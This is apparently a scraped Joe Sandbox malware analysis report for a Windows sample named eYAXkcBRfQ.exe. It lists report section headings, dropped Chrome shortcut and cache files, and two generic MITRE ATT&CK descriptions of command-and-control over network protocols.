Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
eYAXkcBRfQ.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre